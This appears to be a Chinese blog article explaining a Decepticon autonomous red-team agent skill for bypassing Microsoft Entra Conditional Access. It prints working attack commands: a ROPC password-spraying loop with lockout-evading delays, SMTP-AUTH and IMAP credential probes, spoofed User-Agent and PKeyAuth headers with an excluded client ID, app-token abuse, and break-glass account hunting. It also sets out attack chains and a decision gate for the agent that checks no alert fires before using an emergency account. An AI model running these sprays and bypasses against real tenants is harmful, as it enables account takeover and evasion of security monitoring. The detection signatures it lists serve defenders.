【免费下载链接】DecepticonAutonomous Hacking Agent for Red Team项目地址https://gitcode.com/gh_mirrors/de/Decepticon点击查看免费下载条件访问Conditional AccessCA是 Microsoft Entra ID原 Azure AD租户内最核心的登录防线它按用户、应用、平台、位置与设备状态对登录请求进行放行或阻断。Decepticon 技能库中的entra-conditional-access-bypass技能SKILL.md系统性地总结了绕过 CA 的五大攻击面策略作用域缝隙、传统认证协议、设备/平台条件伪造、服务主体与应用认证流、应急账户滥用。读完本文你将掌握如何枚举租户 CA 策略面、识别未受保护的认证路径、构造绕过请求并将这些技术组织为可复用的红队攻击链。技能定位它在 Decepticon 技能库中扮演什么角色在 Decepticon 中每个可执行攻击剧本都以SKILL.md文件承载遵循 docs/skill-schema.md 定义的统一 frontmatter 契约。本技能的元数据头部定义了其触发与路由方式name: entra-conditional-access-bypass description: Entra Conditional Access bypass — discover policy gaps, exploit legacy-auth protocols (IMAP/POP/SMTP-AUTH/EWS), spoof device/platform/UA/location conditions, abuse service-principals app-based auth excluded from CA, and break-glass account misuse. allowed-tools: Bash Read Write metadata: when_to_use: conditional access ca bypass legacy auth basic auth imap pop smtp ews activesync device compliance trusted location user agent break glass service principal app auth mfa bypass subdomain: cloud tags: azure, entra-id, conditional-access, mfa-bypass mitre_attack: T1556, T1078.004, T1550.001, T1199其中when_to_use是技能检索的触发关键词集合当 Agent 面临 CA 阻断传统认证基本认证IMAP/POP/SMTP/EWS设备合规受信任位置应急账户MFA 绕过等场景时即可命中该技能。subdomain: cloud将该技能归入云攻击通道mitre_attack则映射到四个 ATTCK 技术T1556修改认证机制、T1078.004有效账户云账户、T1550.001使用替代认证材料应用访问令牌、T1199信任关系利用。从 docs/skills.md 可知SKILL.md 由SkillsMiddleware以及后续的 Skillogy 知识图谱层见 middleware/skillogy.py在 Agent 启动时发现并加载Agent 通过load_skill()拉取完整正文后按阶段执行。技能正文限定使用Bash Read Write三类工具其中Bash工具经HTTPSandbox见 tools/bash/bash.py在隔离沙箱中执行——本文所有命令均可在该沙箱环境中运行。核心模型CA 的缝隙都在哪里技能的引言给出了判断绕过的总纲Conditional Access (CA) policies gate sign-ins by user/app/platform/location/device. Bypasses come from thegapsin policy scoping — legacy protocols not covered, service-principal flows out of scope, device/UA conditions spoofable, break-glass accounts excluded.翻译过来就是CA 策略按用户/应用/平台/位置/设备五个维度组合放行或拦截登录绕过机会来自策略作用域本身的缝隙——传统协议未被覆盖、服务主体认证流不在策略范围内、设备/UA 条件可以被伪造、应急break-glass账户被显式排除。因此攻击的第一步不是猜密码而是把策略面看穿。Phase 1枚举策略面Policy Surface已认证枚举Graph API 直查持有Global Reader或Security Reader级别令牌即可直接读取全部 CA 策略TOKENGLOBAL_READER_OR_SECREADER curl -s -H Authorization: Bearer $TOKEN \ https://graph.microsoft.com/beta/policies/conditionalAccessPolicies \ | jq .value[] | {n:.displayName, st:.state, users:.conditions.users, apps:.conditions.applications, plat:.conditions.platforms, loc:.conditions.locations, ctrl:.grantControls}注意这里使用的是 Graphbeta版本的policies/conditionalAccessPolicies端点逐条抽取策略的显示名、状态state、用户/应用/平台/位置条件以及授权控制grantControls。在 entra-enum 的 Phase 3 中同样使用该端点做已认证枚举二者可以衔接使用。已认证枚举roadreconROADtoolsROADtools 是 Entra 已认证枚举的主力工具集配合插件直接导出策略 JSONroadrecon plugin policies capolicies.json # Look for: stateenabledForReportingButNotEnforced (audit-only), excludeUsers (BG accounts), excludeApplications, includeApplications missing All cloud apps解读要点原技能注释stateenabledForReportingButNotEnforced策略仅处于审计/报告模式实际不拦截——这是最常见的配置错误之一excludeUsers被排除的用户往往就是应急账户或高管账户excludeApplications被排除的应用includeApplications中缺少All cloud apps策略作用域没有覆盖全部云应用存在漏网应用。未认证信号登录失败错误码反推策略在没有令牌的情况下登录失败返回的错误码本身就是策略探针AADSTS53003 被条件访问策略阻断——确认有策略生效AADSTS50158 需要外部安全挑战即 CA 强制 MFAAADSTS50053 账户被锁定 → 属于智能锁定smart-lockout不是 CAAADSTS500011 资源主体在租户中未找到 → 应用排除路径的信号如果跨多个协议、多个位置始终不出现53003→ 说明 CA 存在缝隙。这套错误码判读逻辑与 entra-enum 的用户枚举错误码表AADSTS50126密码错误但用户存在、AADSTS50034用户不存在等互相呼应构成先枚举、后探测策略的完整前奏。Phase 2传统认证协议绕过Legacy Auth Survival尽管微软反复宣传基本认证弃用但大量租户仍开放 SMTP-AUTH更关键的是ROPCResource Owner Password Credentials授权流通过oauth2/token端点往往不受 CA 管控——因为 CA 默认只拦截Browser与Modern auth clients客户端类型若策略未包含Other clientsROPC 就可以绕过去。ROPC 密码喷洒无 MFA 提示TARGETTARGET; TENANTTENANT for u in $(cat valid_users.txt); do for p in $(cat pwlist.txt); do r$(curl -s -X POST https://login.microsoftonline.com/${TENANT}/oauth2/token \ -d resourcehttps://graph.windows.netclient_id1b730954-1685-4b74-9bfd-dac224a7b894grant_typepasswordusername${u}${TARGET}password${p}) if echo $r | jq -e .access_token /dev/null; then echo WIN: $u:$p; break; fi sleep $((RANDOM % 3 4)) done done要点grant_typepassword即 ROPC 流resourcehttps://graph.windows.net是 Azure AD Graph 资源脚本在每次尝试之间加入 47 秒随机延时RANDOM % 3 4以降低触发智能锁定的概率命中即break跳出内层循环。SMTP-AUTHExchange Online 提交通道# CA block legacy auth usually scopes Exchange ActiveSync Other clients — verify SMTP submission: swaks --server smtp.office365.com:587 --tls --auth LOGIN \ --auth-user UPN --auth-password PW \ --from UPN --to UPN --header Subject: t --body t # 235 Authentication succeeded SMTP-AUTH is alive ; tenant likely also lets ROPC through.swaks返回235 Authentication succeeded意味着 SMTP-AUTH 通道仍然存活。原技能特别强调一个推断如果 SMTP-AUTH 活着租户大概率也放行 ROPC——因为阻止旧版认证策略通常只作用域到Exchange ActiveSync与Other clients而 SMTP 提交通道常常被遗漏。IMAP / POPopenssl s_client -crlf -connect outlook.office365.com:993 # A1 LOGIN UPN PW用openssl s_client建立到outlook.office365.com:993IMAP over SSL的原始连接手工发送A1 LOGIN命令验证凭证这是最朴素也是最安静的协议探针。EWS / AutodiscoverNTLM-over-OAuth# MailSniper (PS) — pulls mailboxes via EWS using OAuth token, skips CA on EWS-app if Office 365 Exchange Online isnt in policy scope: Invoke-OpenInboxFinder -EmailList users.txt -ExchHostname outlook.office365.com -VerboseMailSniper 通过 EWS 使用 OAuth 令牌批量探测邮箱当策略作用域未包含Office 365 Exchange Online应用时EWS 应用上的 CA 即可被跳过。Phase 3设备/平台条件伪造CA 的要求合规设备require compliant device平台Windows条件依赖 UA 头与x-ms-DeviceType头来判断。当租户缺少设备证书强制device certificate enforcement时这些头都是可伪造的。# Pretend to be a managed Windows client to bypass block non-Windows: curl -s -X POST https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/token \ -H User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Edge/120.0 \ -H x-ms-PKeyAuth: 1.0 \ -d client_id29d9ed98-a469-4536-ade2-f981bc1d605egrant_typepasswordusernameUPNpasswordPWscopehttps://graph.microsoft.com/.default # client_id 29d9ed98 Microsoft Authentication Broker — often in CA exclusion.这里使用了两个关键手法一是把User-Agent伪装成 Windows Edge 以绕过阻止非 Windows策略二是client_id29d9ed98-a469-4536-ade2-f981bc1d605e是Microsoft Authentication Broker的客户端 ID该 ID 经常被 CA 排除从而搭便车通过策略。x-ms-PKeyAuth: 1.0头用于声明 PKeyAuth 能力。原技能对 PKeyAuth 伪造有清醒的边界说明PKeyAuth spoof — without the actual device cert, this only works against CAs that just check theadvertisedplatform, not device compliance state (very common misconfig).即没有真实设备证书时PKeyAuth 伪造只对仅检查声明平台、不校验设备合规状态的 CA 有效——但恰恰这是非常常见的错误配置。受信任位置绕过Trusted-Location Bypass# Tunnel auth from a VPS in a trusted-IP range. List location named-ranges: curl -s -H Authorization: Bearer $TOKEN \ https://graph.microsoft.com/v1.0/identity/conditionalAccess/namedLocations | jq .[]|{n:.displayName,r:.ipRanges} # If a partner ASN is trusted, any cloud VM in that ASN bypasses the geo control.通过 Graph 的identity/conditionalAccess/namedLocations端点列出命名位置及其 IP 范围。如果租户把某个合作伙伴 ASN 标记为受信任那么在该 ASN 内的任意云 VM 都能绕过地理位置控制——攻击者只需在可信网段租一台 VPS 再隧道转发认证流量。Phase 4服务主体/基于应用的绕过CA 历史上只作用域到用户USERS。工作负载身份Workload IdentityCA 虽然存在但很少被真正启用——服务主体Service Principal以应用身份认证时无用户、无 MFA、无 CA除非租户专门配置了带登录风险策略的Workload IdentityCA。# If you have an apps client_id secret/cert: curl -s -X POST https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/token \ -d client_idAPP_IDclient_secretSECRETgrant_typeclient_credentialsscopehttps://graph.microsoft.com/.default # This token has Application permissions — bypasses user-scoped CA entirely.grant_typeclient_credentials换取的是带**应用程序权限Application permissions**的令牌完全绕过用户作用域的 CA。而如何拿到那个 secret正是 entra-privesc 中服务主体凭据添加一节的内容——原技能在此处显式引用了该技能作为上游动作形成技能链先提权铸凭据再以应用身份绕过 CA。Phase 5应急账户Break-Glass滥用最佳实践要求租户应保留 2 个被所有 CA 与 MFA 排除的应急账户并由 SIEM 告警监控。现实往往是告警配置错误或者应急账户密码躺在 Confluence 页面 / 共享密码库里。攻击者的任务是找到它们# Find users excluded from MFA-enforcing policies: jq .value[] | select(.grantControls.builtInControls | tostring | contains(mfa)) | .conditions.users.excludeUsers capolicies.json | sort -u # UPNs of break-glass accounts. Search Confluence/SharePoint/git for those UPNs.对 Phase 1 导出的capolicies.json做 jq 过滤选出所有启用 MFA 的授权控制策略再抽取其excludeUsers排除名单并去重——这就是应急账户的 UPN 候选。随后在企业内部 Wiki、SharePoint 或代码仓库中搜索这些 UPN。原技能直白地给出后果评估一旦拿到应急账户凭证 → 可从任意 IP 免 MFA 登录不受限的全局管理员Global Admin。攻击链组合Chains单点绕过技术只有串成链才具有实战价值原技能给出四条典型链路entra-enum喷洒无 53003→ ROPC 密码喷洒 → 邮箱沦陷利用 CA 在Other clients上的缝隙钓鱼拿到带Application.ReadWrite.All的低权限用户 → 铸造应用证书 → 应用令牌绕过全部用户 CA → 租户接管与 entra-privesc 的Owner → 凭据添加 → 应用角色路径直接衔接发现应急账户 UPN → 搜索内部 Wiki → 无限制登录CA 为应急场景排除Microsoft Azure Management应用 → 用该 client_id 执行 ARM 操作绕过 MFA。前两条链分别与 entra-enum喷洒与枚举和 entra-device-code-phishing钓鱼取令牌形成上下游关系读者可对照这三个技能文件串读。工具清单工具用途MSOLSpray / TeamFiltrationROPC 密码喷洒带 CA 感知的错误解析MailSniperEWS 传统协议邮箱掠夺AADInternalsInvoke-AADIntPhoneSubscriberAuthPhone-Subscriber-Auth 绕过已弃用但部分租户仍可用roadtx任意client_id scope 认证 → CA 排除项利用swaksSMTP-AUTH 探测检测特征Detection Signatures红队视角的检测面同样重要本技能给出四条可写进 SIEM 的检测特征登录日志中出现Client app Other clients且认证成功 → ROPC/传统认证存活同一 IP 出现大量53003失败 → CA 在正常工作应转向其他协议/应用组合应急账户成功登录但没有对应的 Sentinel 告警→ 静默的应急账户滥用Service principal sign-ins表中出现非公司 IP 的应用登录 → 服务主体凭据滥用——注意这张表独立于用户登录表经常无人监控。决策门Decision Gate何时转换战术原技能以决策门收尾指导 Agent 依据探测结果选择下一步无论何种协议所有登录都返回53003→ CA 严密转向钓鱼entra-device-code-phishingROPC 对Microsoft Azure CLI的 client_id 成功但对浏览器失败 → CA 只作用域到浏览器全面改用 CLI 令牌发现被排除的服务主体持有RoleManagement.ReadWrite.Directory→ 通过 entra-privesc 提权应急账户清单命中 → 先从一个牺牲 IP 登录验证无告警触发再正式使用该账户操作。这套探测 → 选择 → 执行 → 决策的结构正是 Decepticon 技能体系的通用编排范式每个 SKILL.md 都以可验证的命令与明确的决策条件收尾保证 Agent 在真实对抗中可自主推进攻击链。赞分享【免费下载链接】DecepticonAutonomous Hacking Agent for Red Team项目地址https://gitcode.com/gh_mirrors/de/Decepticon点击查看免费下载相关推荐Decepticon 红队技能解析AATMF T6 训练与反馈投毒Training Feedback Poisoning实战指南Decepticon 红队技能解析AATMF T6 训练与反馈投毒Training Feedback Poisoning实战指南 本篇技术指南围绕 DDecepticon 红队实战Active Directory 攻击技能全景BloodHound / Kerberoast / ADCS ESC / DCSync / LAPSDecepticon 红队实战Active Directory 攻击技能全景BloodHound / Kerberoast / ADCS ESC / DCSDecepticon 认证绕过猎杀手册Auth Bypass Playbook实战解析Decepticon 认证绕过猎杀手册Auth Bypass Playbook实战解析 引言 认证与授权绕过Auth Bypass是 Web 应用攻防中创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考